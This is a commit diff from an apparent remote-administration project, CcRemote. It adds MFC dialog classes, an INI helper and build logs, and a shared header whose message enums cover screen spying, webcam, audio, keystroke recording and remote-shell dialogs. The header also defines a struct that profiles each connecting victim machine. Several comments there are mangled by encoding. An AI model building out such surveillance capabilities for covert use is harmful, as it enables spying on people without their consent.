// 异常: OCX 属性页应返回 FALSE
|
||||
}
|
||||
|
||||
|
||||
//重写这个函数是因为让继承他的子类能够重载这个函数来判断id吧
|
||||
void CFileTransferModeDlg::OnEndDialog(UINT id)
|
||||
{
|
||||
// TODO: Add your control notification handler code here
|
||||
EndDialog(id);
|
||||
}
|
||||
27
CcRemote/CcRemote/FileTransferModeDlg.h
Normal file
27
CcRemote/CcRemote/FileTransferModeDlg.h
Normal file
@@ -0,0 +1,27 @@
|
||||
#pragma once
|
||||
|
||||
#include "resource.h"
|
||||
// CFileTransferModeDlg 对话框
|
||||
|
||||
class CFileTransferModeDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CFileTransferModeDlg)
|
||||
|
||||
public:
|
||||
CString m_strFileName;
|
||||
CFileTransferModeDlg(CWnd* pParent = nullptr); // 标准构造函数
|
||||
virtual ~CFileTransferModeDlg();
|
||||
|
||||
// 对话框数据
|
||||
#ifdef AFX_DESIGN_TIME
|
||||
enum { IDD = IDD_TRANSFERMODE_DLG };
|
||||
#endif
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV 支持
|
||||
afx_msg void OnEndDialog(UINT id);
|
||||
virtual BOOL OnInitDialog();
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
|
||||
};
|
||||
87
CcRemote/CcRemote/IniFile.cpp
Normal file
87
CcRemote/CcRemote/IniFile.cpp
Normal file
@@ -0,0 +1,87 @@
|
||||
// IniFile.cpp: implementation of the CIniFile class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "pch.h"
|
||||
#include "IniFile.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#undef THIS_FILE
|
||||
static char THIS_FILE[]=__FILE__;
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
#define MAX_LENGTH 256
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CIniFile::CIniFile()
|
||||
{
|
||||
char szAppName[MAX_PATH];
|
||||
int len;
|
||||
|
||||
GetModuleFileName(NULL, szAppName, sizeof(szAppName));
|
||||
len = strlen(szAppName);
|
||||
for(int i=len; i>0; i--)
|
||||
{
|
||||
if(szAppName[i] == '.')
|
||||
{
|
||||
szAppName[i+1] = '\0';
|
||||
break;
|
||||
}
|
||||
}
|
||||
strcat(szAppName, "ini");
|
||||
IniFileName = szAppName;
|
||||
}
|
||||
|
||||
CIniFile::~CIniFile()
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CString CIniFile::GetString(CString AppName,CString KeyName,CString Default)
|
||||
{
|
||||
TCHAR buf[MAX_LENGTH];
|
||||
GetPrivateProfileString(AppName, KeyName, Default, buf, sizeof(buf), IniFileName);
|
||||
return buf;
|
||||
}
|
||||
|
||||
int CIniFile::GetInt(CString AppName,CString KeyName,int Default)
|
||||
{
|
||||
return ::GetPrivateProfileInt(AppName, KeyName, Default, IniFileName);
|
||||
}
|
||||
|
||||
unsigned long CIniFile::GetDWORD(CString AppName,CString KeyName,unsigned long Default)
|
||||
{
|
||||
TCHAR buf[MAX_LENGTH];
|
||||
CString temp;
|
||||
temp.Format("%u",Default);
|
||||
GetPrivateProfileString(AppName, KeyName, temp, buf, sizeof(buf), IniFileName);
|
||||
return atol(buf);
|
||||
}
|
||||
|
||||
BOOL CIniFile::SetString(CString AppName,CString KeyName,CString Data)
|
||||
{
|
||||
return ::WritePrivateProfileString(AppName, KeyName, Data, IniFileName);
|
||||
}
|
||||
|
||||
BOOL CIniFile::SetInt(CString AppName,CString KeyName,int Data)
|
||||
{
|
||||
CString temp;
|
||||
temp.Format("%d", Data);
|
||||
return ::WritePrivateProfileString(AppName, KeyName, temp, IniFileName);
|
||||
}
|
||||
|
||||
BOOL CIniFile::SetDouble(CString AppName,CString KeyName,double Data)
|
||||
{
|
||||
CString temp;
|
||||
temp.Format("%f",Data);
|
||||
return WritePrivateProfileString(AppName, KeyName, temp, IniFileName);
|
||||
}
|
||||
|
||||
BOOL CIniFile::SetDWORD(CString AppName,CString KeyName,unsigned long Data)
|
||||
{
|
||||
CString temp;
|
||||
temp.Format("%u",Data);
|
||||
return WritePrivateProfileString(AppName, KeyName, temp, IniFileName);
|
||||
}
|
||||
32
CcRemote/CcRemote/IniFile.h
Normal file
32
CcRemote/CcRemote/IniFile.h
Normal file
@@ -0,0 +1,32 @@
|
||||
// IniFile.h: interface for the CIniFile class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_INIFILE_H__D5A2B7FC_6022_4EA2_9E54_91C4E7B31B8E__INCLUDED_)
|
||||
#define AFX_INIFILE_H__D5A2B7FC_6022_4EA2_9E54_91C4E7B31B8E__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
class CIniFile
|
||||
{
|
||||
public:
|
||||
CIniFile();
|
||||
virtual ~CIniFile();
|
||||
void SetIniFileName(CString FileName){ IniFileName = FileName; }
|
||||
CString GetIniFileName(){ return IniFileName; }
|
||||
|
||||
CString GetString(CString AppName, CString KeyName, CString Default = "");
|
||||
int GetInt(CString AppName, CString KeyName, int Default = 0);
|
||||
unsigned long GetDWORD(CString AppName, CString KeyName, unsigned long Default = 0);
|
||||
|
||||
BOOL SetString(CString AppName, CString KeyName, CString Data);
|
||||
BOOL SetInt(CString AppName, CString KeyName, int Data);
|
||||
BOOL SetDouble(CString AppName, CString KeyName, double Data);
|
||||
BOOL SetDWORD(CString AppName, CString KeyName, unsigned long Data);
|
||||
private:
|
||||
CString IniFileName;
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_INIFILE_H__D5A2B7FC_6022_4EA2_9E54_91C4E7B31B8E__INCLUDED_)
|
||||
228
CcRemote/CcRemote/InputDlg.cpp
Normal file
228
CcRemote/CcRemote/InputDlg.cpp
Normal file
@@ -0,0 +1,228 @@
|
||||
////////////////////////////////////////////////////////////////
|
||||
// MSDN Magazine -- June 2005
|
||||
// If this code works, it was written by Paul DiLascia.
|
||||
// If not, I don't know who wrote it.
|
||||
// Compiles with Visual Studio .NET 2003 (V7.1) on Windows XP. Tab size=3.
|
||||
//
|
||||
#include "pch.h"
|
||||
#include "InputDlg.h"
|
||||
#include "PublicStruct.h"
|
||||
|
||||
#ifdef _DEBUG
|
||||
#define new DEBUG_NEW
|
||||
#endif
|
||||
|
||||
//////////////////
|
||||
// Note: Make sure nBufLen is big enough to hold your entire dialog template!
|
||||
//
|
||||
CDlgTemplateBuilder::CDlgTemplateBuilder(UINT nBufLen)
|
||||
{
|
||||
m_pBuffer = new WORD[nBufLen];
|
||||
m_pNext = m_pBuffer;
|
||||
m_pEndBuf = m_pNext + nBufLen;
|
||||
}
|
||||
|
||||
CDlgTemplateBuilder::~CDlgTemplateBuilder()
|
||||
{
|
||||
delete [] m_pBuffer;
|
||||
}
|
||||
|
||||
//////////////////
|
||||
// Create template (DLGTEMPLATE)
|
||||
//
|
||||
DLGTEMPLATE* CDlgTemplateBuilder::Begin(DWORD dwStyle, const CRect& rc,
|
||||
LPCTSTR text, DWORD dwStyleEx)
|
||||
{
|
||||
ASSERT(m_pBuffer==m_pNext); // call Begin first and only once!
|
||||
|
||||
DLGTEMPLATE* hdr = (DLGTEMPLATE*)m_pBuffer;
|
||||
hdr->style = dwStyle; // copy style..
|
||||
hdr->dwExtendedStyle = dwStyleEx; // ..and extended, too
|
||||
hdr->cdit = 0; // number of items: zero
|
||||
|
||||
// Set dialog rectangle.
|
||||
CRect rcDlg = rc;
|
||||
hdr->x = (short)rcDlg.left;
|
||||
hdr->y = (short)rcDlg.top;
|
||||
hdr->cx = (short)rcDlg.Width();
|
||||
hdr->cy = (short)rcDlg.Height();
|
||||
|
||||
// Append trailing items: menu, class, caption. I only use caption.
|
||||
m_pNext = (WORD*)(hdr+1);
|
||||
*m_pNext++ = 0; // menu (none)
|
||||
*m_pNext++ = 0; // dialog class (use standard)
|
||||
m_pNext = AddText(m_pNext, text); // append dialog caption
|
||||
|
||||
ASSERT(m_pNext < m_pEndBuf);
|
||||
return hdr;
|
||||
}
|
||||
|
||||
//////////////////
|
||||
// Add dialog item (control).
|
||||
//
|
||||
void CDlgTemplateBuilder::AddItemTemplate(WORD wType, DWORD dwStyle,
|
||||
const CRect& rc, WORD nID, DWORD dwStyleEx)
|
||||
{
|
||||
ASSERT(m_pNext < m_pEndBuf);
|
||||
|
||||
// initialize DLGITEMTEMPLATE
|
||||
DLGITEMTEMPLATE& it = *((DLGITEMTEMPLATE*)AlignDWORD(m_pNext));
|
||||
it.style = dwStyle;
|
||||
it.dwExtendedStyle = dwStyleEx;
|
||||
|
||||
CRect rcDlg = rc;
|
||||
it.x = (short)rcDlg.left;
|
||||
it.y = (short)rcDlg.top;
|
||||
it.cx = (short)rcDlg.Width();
|
||||
it.cy = (short)rcDlg.Height();
|
||||
it.id = nID;
|
||||
|
||||
// add class (none)
|
||||
m_pNext = (WORD*)(&it+1);
|
||||
*m_pNext++ = 0xFFFF; // next WORD is atom
|
||||
*m_pNext++ = wType; // ..atom identifier
|
||||
ASSERT(m_pNext < m_pEndBuf); // check not out of range
|
||||
|
||||
// increment control/item count
|
||||
DLGTEMPLATE* hdr = (DLGTEMPLATE*)m_pBuffer;
|
||||
hdr->cdit++;
|
||||
}
|
||||
|
||||
//////////////////
|
||||
// Add dialog item (control).
|
||||
//
|
||||
void CDlgTemplateBuilder::AddItem(WORD wType, DWORD dwStyle,
|
||||
const CRect& rc, LPCTSTR text, WORD nID, DWORD dwStyleEx)
|
||||
{
|
||||
AddItemTemplate(wType, dwStyle, rc, nID, dwStyleEx);
|
||||
m_pNext = AddText(m_pNext, text); // append title
|
||||
*m_pNext++ = 0; // no creation data
|
||||
ASSERT(m_pNext < m_pEndBuf);
|
||||
}
|
||||
|
||||
//////////////////
|
||||
// Add dialog item (control).
|
||||
//
|
||||
void CDlgTemplateBuilder::AddItem(WORD wType, DWORD dwStyle,
|
||||
const CRect& rc, WORD wResID, WORD nID, DWORD dwStyleEx)
|
||||
{
|
||||
AddItemTemplate(wType, dwStyle, rc, nID, dwStyleEx);
|
||||
*m_pNext++ = 0xFFFF; // next is resource id
|
||||
*m_pNext++ = wResID; // ..here it is
|
||||
*m_pNext++ = 0; // no extra stuff
|
||||
ASSERT(m_pNext < m_pEndBuf);
|
||||
}
|
||||
|
||||
//////////////////
|
||||
// Append text to buffer. Convert to Unicode if necessary.
|
||||
// Return pointer to next character after terminating NULL.
|
||||
//
|
||||
WORD* CDlgTemplateBuilder::AddText(WORD* buf, LPCTSTR text)
|
||||
{
|
||||
if (text) {
|
||||
USES_CONVERSION;
|
||||
wcscpy((WCHAR*)buf, T2W((LPTSTR)text));
|
||||
buf += wcslen((WCHAR*)buf)+1;
|
||||
} else {
|
||||
*buf++ = 0;
|
||||
}
|
||||
return buf;
|
||||
}
|
||||
|
||||
//////////////////
|
||||
// Create string dialog. If no icon specified, use IDI_QUESTION. Note that
|
||||
// the order in which the controls are added is the TAB order.
|
||||
//
|
||||
BOOL CInputDialog::Init(LPCTSTR caption, LPCTSTR prompt, CWnd* pParent, WORD nIDIcon)
|
||||
{
|
||||
const int CXDIALOG = 200; // dialog width
|
||||
const int DLGMARGIN = 7; // margins all around
|
||||
const int CYSTATIC = 8; // height of static text
|
||||
const int CYEDIT = 12; // height of edit control
|
||||
const int CYSPACE = 5; // vertical space between controls
|
||||
const int CXBUTTON = 40; // button width...
|
||||
const int CYBUTTON = 15; // ..and height
|
||||
|
||||
CDlgTemplateBuilder& dtb = m_dtb;
|
||||
CRect rc(
|
||||
CPoint(0,0),
|
||||
CSize(CXDIALOG, CYSTATIC + CYEDIT + CYBUTTON + 2*DLGMARGIN + 2*CYSPACE));
|
||||
|
||||
// create dialog header
|
||||
DLGTEMPLATE* pTempl = dtb.Begin(WS_POPUPWINDOW|DS_MODALFRAME|WS_DLGFRAME,rc,caption);
|
||||
|
||||
// shrink main rect by margins
|
||||
rc.DeflateRect(CSize(DLGMARGIN,DLGMARGIN));
|
||||
|
||||
// create icon if needed
|
||||
if (nIDIcon) {
|
||||
if (nIDIcon >= (WORD)IDI_APPLICATION) {
|
||||
// if using a system icon, I load it here and set it in OnInitDialog
|
||||
// because can't specify system icon in template, only icons from
|
||||
// application resource file.
|
||||
m_hIcon = ::LoadIcon(NULL, MAKEINTRESOURCE(nIDIcon));
|
||||
nIDIcon = 0;
|
||||
} else {
|
||||
m_hIcon = NULL;
|
||||
}
|
||||
|
||||
// The size is calculated in pixels, but it seems to work OK--???
|
||||
CSize sz(GetSystemMetrics(SM_CXICON),GetSystemMetrics(SM_CYICON));
|
||||
CRect rcIcon(rc.TopLeft(), sz);
|
||||
dtb.AddItem(CDlgTemplateBuilder::STATIC, // add icon
|
||||
WS_VISIBLE|WS_CHILD|SS_LEFT|SS_ICON, rc, nIDIcon, IDICON);
|
||||
rc.left += sz.cx; // shrink main rect by width of icon
|
||||
}
|
||||
|
||||
// add prompt
|
||||
rc.bottom = rc.top + CYSTATIC; // height = height of static
|
||||
dtb.AddItem(CDlgTemplateBuilder::STATIC, // add it
|
||||
WS_VISIBLE|WS_CHILD|SS_LEFT, rc, prompt);
|
||||
|
||||
// add edit control
|
||||
rc += CPoint(0, rc.Height() + CYSPACE); // move below static
|
||||
rc.bottom = rc.top + CYEDIT; // height = height of edit control
|
||||
dtb.AddItem(CDlgTemplateBuilder::EDIT, // add it ES_AUTOHSCROLL must be add
|
||||
WS_VISIBLE|WS_CHILD|WS_BORDER|WS_TABSTOP|ES_AUTOHSCROLL, rc, m_str, IDEDIT);
|
||||
|
||||
// add OK button
|
||||
rc += CPoint(0, rc.Height() + CYSPACE); // move below edit control
|
||||
rc.bottom = rc.top + CYBUTTON; // height = button height
|
||||
rc.left = rc.right - CXBUTTON; // width = button width
|
||||
rc -= CPoint(CXBUTTON + DLGMARGIN,0); // move left one button width
|
||||
dtb.AddItem(CDlgTemplateBuilder::BUTTON, // add it
|
||||
WS_VISIBLE|WS_CHILD|WS_TABSTOP|BS_DEFPUSHBUTTON, rc, _T("&OK"), IDOK);
|
||||
|
||||
// add Cancel button
|
||||
rc += CPoint(CXBUTTON + DLGMARGIN,0); // move right again
|
||||
dtb.AddItem(CDlgTemplateBuilder::BUTTON, // add Cancel button
|
||||
WS_VISIBLE|WS_CHILD|WS_TABSTOP, rc, _T("&Cancel"), IDCANCEL);
|
||||
|
||||
return InitModalIndirect(pTempl, pParent);
|
||||
}
|
||||
|
||||
//////////////////
|
||||
// Initialize dialog: if I loaded a system icon, set it in static control.
|
||||
//
|
||||
BOOL CInputDialog::OnInitDialog()
|
||||
{
|
||||
if (m_hIcon) {
|
||||
CStatic* pStatic = (CStatic*)GetDlgItem(IDICON);
|
||||
ASSERT(pStatic);
|
||||
pStatic->SetIcon(m_hIcon);
|
||||
}
|
||||
return CDialog::OnInitDialog();
|
||||
}
|
||||
|
||||
/////////////////
|
||||
// User pressed OK: check for empty string if required flag is set.
|
||||
//
|
||||
void CInputDialog::OnOK()
|
||||
{
|
||||
UpdateData(TRUE);
|
||||
if (m_bRequired && m_str.IsEmpty()) {
|
||||
MessageBeep(0);
|
||||
return; // don't quit dialog!
|
||||
}
|
||||
CDialog::OnOK();
|
||||
}
|
||||
83
CcRemote/CcRemote/InputDlg.h
Normal file
83
CcRemote/CcRemote/InputDlg.h
Normal file
@@ -0,0 +1,83 @@
|
||||
////////////////////////////////////////////////////////////////
|
||||
// PixieLib(TM) Copyright 1997-2005 Paul DiLascia
|
||||
// If this code works, it was written by Paul DiLascia.
|
||||
// If not, I don't know who wrote it.
|
||||
// Compiles with Visual Studio.NET 7.1 or greater. Set tabsize=3.
|
||||
//
|
||||
|
||||
//////////////////
|
||||
// Helper class to build a dialog template in memory. Only supports what's
|
||||
// needed for CStringDialog.
|
||||
//
|
||||
class CDlgTemplateBuilder {
|
||||
protected:
|
||||
WORD* m_pBuffer; // internal buffer holds dialog template
|
||||
WORD* m_pNext; // next WORD to copy stuff
|
||||
WORD* m_pEndBuf; // end of buffer
|
||||
|
||||
// align ptr to nearest DWORD
|
||||
WORD* AlignDWORD(WORD* ptr) {
|
||||
ptr++; // round up to nearest DWORD
|
||||
LPARAM lp = (LPARAM)ptr; // convert to long
|
||||
lp &= 0xFFFFFFFC; // make sure on DWORD boundary
|
||||
return (WORD*)lp;
|
||||
}
|
||||
|
||||
void AddItemTemplate(WORD wType, DWORD dwStyle, const CRect& rc,
|
||||
WORD nID, DWORD dwStyleEx);
|
||||
|
||||
public:
|
||||
// Windows predefined atom names
|
||||
enum { BUTTON=0x0080, EDIT, STATIC, LISTBOX, SCROLLBAR, COMBOBOX };
|
||||
|
||||
CDlgTemplateBuilder(UINT nBufLen=1024);
|
||||
~CDlgTemplateBuilder();
|
||||
|
||||
DLGTEMPLATE* GetTemplate() { return (DLGTEMPLATE*)m_pBuffer; }
|
||||
|
||||
// functions to build the template
|
||||
DLGTEMPLATE* Begin(DWORD dwStyle, const CRect& rc, LPCTSTR caption, DWORD dwStyleEx=0);
|
||||
WORD* AddText(WORD* buf, LPCTSTR text);
|
||||
void AddItem(WORD wType, DWORD dwStyle, const CRect& rc,
|
||||
LPCTSTR text, WORD nID=-1, DWORD dwStyleEx=0);
|
||||
void AddItem(WORD wType, DWORD dwStyle, const CRect& rc,
|
||||
WORD nResID, WORD nID=-1, DWORD dwStyleEx=0);
|
||||
};
|
||||
|
||||
//////////////////
|
||||
// Class to implement a simple string input dialog. Kind of like MessageBox
|
||||
// but it accepts a single string input from user. You provide the prompt. To
|
||||
// use:
|
||||
//
|
||||
// CStringDialog dlg; // string dialog
|
||||
// dlg.m_bRequired = m_bRequired; // if string is required
|
||||
// dlg.Init(_T("Title"), _T("Enter a string:"), this, IDI_QUESTION);
|
||||
// dlg.DoModal(); // run dialog
|
||||
// CString result = dlg.m_str; // whatever the user typed
|
||||
//
|
||||
class CInputDialog : public CDialog {
|
||||
public:
|
||||
CString m_str; // the string returned [in,out]
|
||||
BOOL m_bRequired; // string required?
|
||||
HICON m_hIcon; // icon if not supplied
|
||||
|
||||
CInputDialog() { }
|
||||
~CInputDialog() { }
|
||||
|
||||
// Call this to create the template with given caption and prompt.
|
||||
BOOL Init(LPCTSTR caption, LPCTSTR prompt, CWnd* pParent=NULL,
|
||||
WORD nIDIcon=(WORD)IDI_QUESTION);
|
||||
|
||||
protected:
|
||||
CDlgTemplateBuilder m_dtb; // place to build/hold the dialog template
|
||||
enum { IDICON=1, IDEDIT }; // control IDs
|
||||
|
||||
// MFC virtual overrides
|
||||
virtual BOOL OnInitDialog();
|
||||
virtual void OnOK();
|
||||
virtual void DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
DDX_Text(pDX, IDEDIT, m_str);
|
||||
}
|
||||
};
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
#pragma once
|
||||
|
||||
//<2F>б<EFBFBD>ö<EFBFBD><C3B6>
|
||||
enum
|
||||
{
|
||||
ONLINELIST_IP = 0, //IP<49><50><EFBFBD><EFBFBD>˳<EFBFBD><CBB3>
|
||||
@@ -17,3 +18,67 @@ typedef struct
|
||||
char *title; //<2F>б<EFBFBD><D0B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int nWidth; //<2F>б<EFBFBD><D0B1>Ŀ<EFBFBD><C4BF><EFBFBD>
|
||||
}COLUMNSTRUCT;
|
||||
|
||||
//<2F>Զ<EFBFBD><D4B6><EFBFBD><EFBFBD><EFBFBD>Ϣö<CFA2><C3B6>
|
||||
enum
|
||||
{
|
||||
UM_ICONNOTIFY = WM_USER + 0x100,
|
||||
};
|
||||
|
||||
enum
|
||||
{
|
||||
WM_CLIENT_CONNECT = WM_APP + 0x1001,
|
||||
WM_CLIENT_CLOSE,
|
||||
WM_CLIENT_NOTIFY,
|
||||
WM_DATA_IN_MSG,
|
||||
WM_DATA_OUT_MSG,
|
||||
|
||||
|
||||
WM_ADDTOLIST = WM_USER + 102, // <20><><EFBFBD>ӵ<EFBFBD><D3B5>б<EFBFBD><D0B1><EFBFBD>ͼ<EFBFBD><CDBC>
|
||||
WM_REMOVEFROMLIST, // <20><><EFBFBD>б<EFBFBD><D0B1><EFBFBD>ͼ<EFBFBD><CDBC>ɾ<EFBFBD><C9BE>
|
||||
WM_OPENMANAGERDIALOG, // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
WM_OPENSCREENSPYDIALOG, // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB><EFBFBD>Ӵ<EFBFBD><D3B4><EFBFBD>
|
||||
WM_OPENWEBCAMDIALOG, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ<EFBFBD><CDB7><EFBFBD>Ӵ<EFBFBD><D3B4><EFBFBD>
|
||||
WM_OPENAUDIODIALOG, // <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
WM_OPENKEYBOARDDIALOG, // <20><EFBFBD><F2BFAABC>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
|
||||
WM_OPENPSLISTDIALOG, // <20><EFBFBD><F2BFAABD>̹<EFBFBD><CCB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
WM_OPENSHELLDIALOG, // <20><><EFBFBD><EFBFBD>shell<6C><6C><EFBFBD><EFBFBD>
|
||||
WM_RESETPORT, // <20>ı<EFBFBD><C4B1>˿<EFBFBD>
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
FILEMANAGER_DLG = 1,
|
||||
SCREENSPY_DLG,
|
||||
WEBCAM_DLG,
|
||||
AUDIO_DLG,
|
||||
KEYBOARD_DLG,
|
||||
SYSTEM_DLG,
|
||||
SHELL_DLG
|
||||
};
|
||||
|
||||
|
||||
typedef struct
|
||||
{
|
||||
BYTE bToken; // = 1
|
||||
OSVERSIONINFOEX OsVerInfoEx; // <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||
int CPUClockMhz; // CPU<50><55>Ƶ
|
||||
IN_ADDR IPAddress; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
|
||||
char HostName[50]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
bool bIsWebCam; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
|
||||
}LOGININFO;
|
||||
|
||||
typedef struct
|
||||
{
|
||||
DWORD dwSizeHigh;
|
||||
DWORD dwSizeLow;
|
||||
}FILESIZE;
|
||||
|
||||
#define MAKEINT64(low, high) ((unsigned __int64)(((DWORD)(low)) | ((unsigned __int64)((DWORD)(high))) << 32))
|
||||
#ifdef _UNICODE
|
||||
#if defined _M_IX86
|
||||
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"")
|
||||
#elif defined _M_X64
|
||||
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"")
|
||||
#else
|
||||
#pragma comment(linker,"/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
|
||||
#endif
|
||||
#endif
|
||||
|
||||
BIN
CcRemote/CcRemote/RCa16756
Normal file
BIN
CcRemote/CcRemote/RCa16756
Normal file
Binary file not shown.
BIN
CcRemote/CcRemote/RDa16756
Normal file
BIN
CcRemote/CcRemote/RDa16756
Normal file
Binary file not shown.
2
CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log
Normal file
2
CcRemote/CcRemote/Release/CcRemote.Build.CppClean.log
Normal file
@@ -0,0 +1,2 @@
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.res
|
||||
g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
|
||||
46
CcRemote/CcRemote/Release/CcRemote.log
Normal file
46
CcRemote/CcRemote/Release/CcRemote.log
Normal file
@@ -0,0 +1,46 @@
|
||||
C:\Program Files (x86)\Microsoft Visual Studio\2017\Professional\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
pch.cpp
|
||||
CcRemote.cpp
|
||||
CcRemoteDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(164): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(169): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(312): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(335): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(826): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\ccremotedlg.cpp(908): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CScreenSpyDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||
CSettingDlg.cpp
|
||||
CShellDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
|
||||
CSystemDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CpuUsage.cpp
|
||||
IniFile.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
SEU_QQwry.cpp
|
||||
TrueColorToolBar.cpp
|
||||
Buffer.cpp
|
||||
IOCPServer.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(725): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
